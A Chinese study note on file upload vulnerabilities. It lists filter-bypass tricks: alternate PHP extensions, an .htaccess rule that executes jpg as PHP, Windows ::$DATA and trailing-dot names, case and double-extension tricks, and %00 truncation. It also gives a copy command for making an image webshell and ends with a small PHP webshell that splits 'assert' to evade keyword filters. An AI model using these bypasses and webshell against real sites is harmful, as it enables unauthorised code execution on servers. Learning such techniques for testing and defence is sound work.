学习文件上传漏洞
2023-03-05 10:24:34 # 网络安全

1.文件上传漏洞条件

  1. 上传文件的名称、后缀名、内容用户可以自定义设置;
  2. 上传文件的路径可以获取;
  3. 上传文件所在文件夹具备可执行权限;

2. Bypass 技巧

  1. 前端过滤

抓包修改后缀名、禁用JS

  1. 类型过滤

上传图片马、修改后缀名
制作图片马: copy 1.jpg/b+muma.php/a muma.jpg
图片类文件头: GIF89a

  1. 黑名单过滤

禁用php后缀名时,使用畸形后缀名:phtml、php3、php4、php5、pht、php2

  1. 上传 .htaccess 文件,更改解析配置

AddType application/x-httpd-php .jpg:将 jpg 文件当成 php 进行解析

1
2
3
4
配置方式:
1. 将 httpd.config 中的 Option FollowSymLinks 从 AllowOverride None 修改为 ALLowOverride all
2. 将 LoadModule rewrite_module modules/mod_rewrite.so 前的 # 去除

  1. windows特性绕过

windows保存文件时,后缀末尾不会保存 .空格::$DATA

可以尝试将 muma.php 修改为:muma.php.muma.php空格muma.php.空格.muma.php::$DATA

  1. 大小写绕过

php 修改为 phPpHp

将禁用的函数eval等进行大小写

  1. 双写绕过

  2. %00截断

对 php 版本和配置有要求。PHP版本=5.2.17,且 php.ini 中 magic_quotes_gpc Off

  1. 一些小知识

图片类文件头: GIF89a

命令执行函数:

函数名 作用
eval 命令执行
system 命令执行
assert 与eval类似,assert函数是直接将传入的参数字符串当成PHP代码直接
exec 命令执行,需要打印输出执行结果,且它只会输出最后一行的内容

读取文件cattaclessmoreheadtailstringspastenl//

变量拼接

assert, system可以动态拼接(php 版本小于8),eval不可以

1
2
3
4
5
6
7
<?php 
$a = "ass";
$b = "ert";
$c = $a.$b;
$c($_POST['c']);
?>